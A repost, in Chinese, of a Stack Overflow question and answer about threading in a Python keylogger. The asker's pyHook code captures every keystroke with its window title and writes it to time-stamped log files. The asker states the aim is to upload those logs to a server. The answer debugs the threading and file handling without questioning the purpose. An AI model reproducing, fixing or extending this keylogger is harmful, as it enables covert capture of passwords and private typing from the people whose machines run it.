gpt4 book ai didi

使用 pyhook 进行 Python 线程处理

转载 作者:行者123 更新时间:2023-11-30 23:37:26 24 4
gpt4 key购买 nike

import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread
def fi():
while True:
dr = socket.gethostname()
if not os.path.exists(dr):
os.makedirs(dr)
else:
pass
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
statinfo = os.stat(fil)
fils = statinfo.st_size
if(fils > 20):
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
else:
pass


lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
print lastWindow
def OnKeyboardEvent(event):
global lastWindow
window = event.WindowName
key = chr(event.Ascii)
if window != lastWindow:
start = '-----------------------------------'
print str(start)
print window
lastWindow = window
print key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

if __name__ == '__main__':
Thread(target = fi).start()
Thread(target = OnKeyboardEvent(event)).start()

第一段代码 def fi() 是在文件大小超过 20KB 时创建一个新文件。第二个 block 是键盘记录器,并将 key 记录在文件中。我是 python 和多线程的新手。现在当我运行这段代码时。我只能让键盘记录器工作,没有形成文件,也没有创建日志。请帮我解决这个问题。

  • 这段代码中我所需要的只是创建一个以当前时间命名的日志文件,并将所有关键字记录到该文件中。然后,如果文件超过 20KB,则应将旧文件上传到服务器,并使用新的当前时间创建一个新文件。我是 python 新手,这就是为什么我不确定这段代码有什么问题以及它没有做什么。*

最佳答案

第一个问题

您确实创建了两个线程 - 但第二个线程的目标是返回值 OnKeyboardEvent(event) 。这没有return -语句,所以返回值为None ,因此该线程没有目标。

第二个问题

您的代码永远不会到达 if __name__ == "__main__": -部分。它阻止 pythoncom.PumpMessages() ,至少对我来说。

第三个问题

起初我很困惑你的代码如何在不抛出异常的情况下运行 - event最后一行中的内容未在此范围的早期定义。但问题 2 目前无法让问题 3 发挥作用,但如果你解决了这个问题,你也将不得不面对问题 3。

解决方案

老实说,我不太明白你想做什么。您绝对应该解决每个问题。

  1. 不要调用线程的目标,为线程提供一个函数对象。如果您需要参数,请使用args -Thread的参数,例如Thread(target = OnKeyboardEvent, args=(event)).start()

  2. 我不知道 pythoncom 的用法太好。也许pythocom.PumpWaitingMessages()是你想要的吗?

  3. 我不知道你想在这里做什么。为什么要在线程中调用回调函数?该函数没有循环或任何东西,因此它将运行一次并停止。我想这只是一次绝望的尝试?

一般说明

  • 我不建议重新定义 sys.stdout除非你真的必须这样做。
  • close()您打开的文件。也许考虑使用 with -声明。
  • 更好:利用 logging -模块。它提供了许多不同的可能性。
  • 当您创建线程时,请考虑结尾。什么时候会停止?如何从另一个线程中阻止它?

关于使用 pyhook 进行 Python 线程处理,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/15562993/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com